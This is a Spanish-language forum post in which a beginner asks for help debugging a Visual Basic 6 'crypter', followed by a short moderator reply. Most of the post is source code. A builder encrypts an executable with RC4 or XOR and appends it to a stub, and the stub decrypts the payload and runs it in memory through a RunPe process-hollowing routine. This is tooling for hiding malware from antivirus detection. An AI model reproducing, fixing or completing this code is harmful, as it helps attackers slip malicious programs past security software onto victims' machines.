Hola Compañeros me estoy inciando en esto del codeo de Visual Basic 6, y estoy terminando mi crypter.

Pero cuando hago las pruebas, me sale un error que nunca logro de solucionar.

El error es:
Imagen


Y mi codigo es:
Private Sub Command1_Click()

With CD

.DialogTitle = "Seleccione el archivo que desea encryptar"
.Filter = "Aplicaciones Exe|*.exe"
.ShowOpen

End With

If Dir(CD.FileName) = vbNullString Then Exit Sub

Text1.Text = CD.FileName
End Sub

Private Sub Command2_Click()
Dim stub As String
With CD
.DialogTitle = "Seleccione donde guardar el archivo"
.Filter = "Aplicaciones Exe|*.exe"
.ShowSave
End With
Open App.Path & "\" & "Stub.dll" For Binary As #1

stub = Space(LOF(1))
Get #1, , stub
Close #1
Dim EOF As String

If Check1.Value = 1 Then EOF = ReadEOFData(Text1.Text)

Dim Bin As String

Open Text1.Text For Binary As #1
Bin = Space(LOF(1))

Get #1, , Bin

Close #1

Dim RC4 As New clsRC4, xXor As New clsXOR

Dim Encryptacion As String

If Option1.Value = True Then

Bin = RC4.EncryptString(Bin, Text2.Text)

Encryptacion = "RC4"

End If

If Option2.Value = True Then

Bin = xXor.EncryptString(Bin, Text2.Text)

Encryptacion = "XOR"

End If

Dim Datos As String

Datos = stub & "Indetectable[$].net" & Bin & "Indetectable[$].net" & Encryptacion & "Indetectable[$].net" & Text2.Text & "Indetectable[$].net"

Open CD.FileName For Binary As #1

Put #1, , Datos

Close #1

If Check1.Value = 1 Then Call WriteEOFData(CD.FileName, EOF)

End Sub
El stub.dll es:
Sub main()
Dim MisDatos As String

Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
MisDatos = Space(LOF(1))
Get #1, , MisDatos
Close #1

Dim xSplit() As String

xSplit() = Split(MisDatos, "Indetectable[$].net")

Dim RC4 As New clsRC4, xXor As New clsXOR

If xSplit(2) = "RC4" Then

xSplit(1) = RC4.DecryptString(xSplit(1), xSplit(3))

End If

If xSplit(2) = "XOR" Then

xSplit(1) = xXor.DecryptString(xSplit(1), xSplit(3))

End If

Dim hDatos() As Byte

hDatos() = StrConv(xSplit(1), vbFromUnicode)

Call RunPe(App.Path & "\" & App.EXEName & ".exe", hDatos(), Command)

End Sub
¡Gracias! :)
te lo muevo a su sección... para eso tenemos una zona de dudas de programación :)

un saludo!
Soy un camaleón, en tu cama, leona ♪
Responder

Volver a “VB/.NET”